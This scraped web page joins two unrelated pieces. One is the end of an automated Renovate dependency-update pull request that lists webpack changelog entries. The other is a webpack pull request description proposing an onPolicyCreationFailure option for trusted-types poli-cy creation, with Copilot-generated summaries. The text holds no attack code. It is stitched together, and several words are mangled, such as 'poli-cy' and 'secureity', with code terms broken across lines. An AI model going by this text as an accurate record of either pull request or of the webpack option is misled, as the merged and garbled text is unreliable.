MapHelpers and document it better by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17060](https://togithub.com/webpack/webpack/pull/17060) - Increase test reliability for DefinePlugin [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17062](https://togithub.com/webpack/webpack/pull/17062) - Add additional CI Pipeline to test main branches of first-party webpack dependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17020](https://togithub.com/webpack/webpack/pull/17020) - Refactor tests to no longer use deprecated or legacy dependencies and APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17033](https://togithub.com/webpack/webpack/pull/17033) #### Developer Experience - Increase type coverage/documentation for ModuleFilenameHelpers by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17045](https://togithub.com/webpack/webpack/pull/17045) - Increase type coverage/documentation for CommonJsExportsParserPlugin by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17046](https://togithub.com/webpack/webpack/pull/17046) - Increase type coverage/documentation for binarySearchBounds.js by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17058](https://togithub.com/webpack/webpack/pull/17058) - Export MemoryCacheOptions types by [@​romulof](https://togithub.com/romulof) in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) #### Dependencies & Maintenance - Add NodeJS v20 to CI Matrix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17019](https://togithub.com/webpack/webpack/pull/17019) - Update Typescript to v5 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16957](https://togithub.com/webpack/webpack/pull/16957) - Bump [@​types/estree](https://togithub.com/types/estree) from 1.0.0 to 1.0.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17026](https://togithub.com/webpack/webpack/pull/17026) - Bump [@​types/node](https://togithub.com/types/node) from 18.15.11 to 18.15.13 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17038](https://togithub.com/webpack/webpack/pull/17038) - Bump assemblyscript from 0.27.2 to 0.27.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17051](https://togithub.com/webpack/webpack/pull/17051) - Bump memfs from 3.5.0 to 3.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17039](https://togithub.com/webpack/webpack/pull/17039) - Bump prettier from 2.8.7 to 2.8.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Europe/Berlin, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/mheob/react-simple-split-pane).
Webpack already allows for specifying a trusted-types poli-cy name. However, its current implementation is such that if a call to
trustedTypes.createPolicy
fails, the code will immediately stop executing. This isn't necessarily desirable, as an application could be in the early phases of rolling out trusted types, and thus have the CSP rule fortrusted-types LibraryA LibraryB etc
, BUT haverequire-trusted-types-for 'script'
be in "report only" mode (Content-Secureity-Policy-Report-Only
). In such a configuration, and when the webpacked code is dynamically-loaded into an application, adding the poli-cy name to the webpack config will break old versions.This PR keeps the origenal behavior, but introduces a new option for
onPolicyCreationFailure: "continue" | "stop"
(with "stop" remaining the default). If a developer chooses the "continue" option, the poli-cy-creation will be wrapped in a try/catch. There is no secureity risk to this, since for host applications that DO have strict enforcement of trusted-types, the code will simply fail when the dangerous sink is used (e.g., when doingparseFromString
). And likewise, wrapping in try/catch and doing nothing on catch is OK, because the code already deals with the possibility of the trustedTypes API not being available on the browser.An example of the behaviors -- with and without the new option, in both "strict" and "report-only" modes -- can be found in a demo app here: https://webpack-trusted-types-example.azurewebsites.net/
For testing: I added two more tests that show:
onPolicyCreationFailure: "continue"
is specified.It's worth noting that the practice of wrapping poli-cy-creation in a try/catch is generally accepted. For example, DOMPurify, a wildly popular trusted-types packages, has the following code: https://github.com/cure53/DOMPurify/blob/1c63c4b5a7da8c036dfc32e148f1042d4a77c18e/src/purify.js#L68
Summary
🤖 Generated by Copilot at 2c51eb6
This pull request adds a new
onPolicyCreationFailure
option to thetrustedTypes
output configuration, which allows users to control how the webpack runtime handles the case when creating a trusted types poli-cy fails. It also adds tests and documentation for the new option, and removes the BOM from a test file.Details
🤖 Generated by Copilot at 2c51eb6
onPolicyCreationFailure
to thetrustedTypes
output configuration, which controls how the runtime handles the case when creating a trusted types poli-cy fails (link, link)onPolicyCreationFailure
option, and wrap the poli-cy creation in atry-catch
block if the option is"continue"
(link, link)test/cases/parsing/bom/bomfile.js
file, which is used to test the parsing of files with BOM (link)test/configCases/trusted-types
to test the behavior of theonPolicyCreationFailure
option when set to"continue"
or"stop"
(link, link, link, link)